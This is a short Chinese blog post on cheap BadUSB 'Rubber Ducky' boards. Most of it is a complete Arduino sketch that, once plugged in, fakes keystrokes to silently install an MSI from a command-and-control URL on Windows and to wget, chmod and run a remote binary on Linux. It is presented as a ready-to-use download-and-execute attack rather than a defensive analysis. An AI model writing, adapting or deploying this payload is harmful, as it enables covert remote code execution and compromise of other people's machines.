TB上买橡皮鸭USB开发板,也叫BadUSB,二三十块钱一个,可以通过简单编程将逻辑刷入USB固件中,插入电脑的时候,模拟键盘按键,自动执行特定逻辑。
下面是我写的一个兼容Windows和Linux的键盘按键,完成远程下载执行的功能,
#include <Keyboard.h>
// C2 Server
String szURL = "http://IP/";
void win(){
// Open CAPS_LOCK
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.release(KEY_LEFT_SHIFT);
// Win + R
Keyboard.press(KEY_LEFT_GUI);
delay(150);
Keyboard.press('r');
Keyboard.releaseAll();
delay(300);
// msiexec /q /i http://IP/win.msi
Keyboard.print("msiexec /q /i ");
Keyboard.print(szURL);
Keyboard.print("win.msi");
// Enter
Keyboard.press(KEY_RETURN);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
void linux(){
// Open Terminal
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F2);
delay(150);
Keyboard.releaseAll();
delay(300);
// Download and Execute
Keyboard.print("wget ");
Keyboard.print(szURL);
Keyboard.print("xxoo -O xxoo && chmod +x xxoo && ./xxoo");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
}
void setup() {
// put your setup code here, to run once:
Keyboard.begin();
delay(5000);
linux();
delay(1000);
win();
Keyboard.end();
}
void loop() {
// put your main code here, to run repeatedly:
}
来源:https://blog.csdn.net/cssxn/article/details/100899459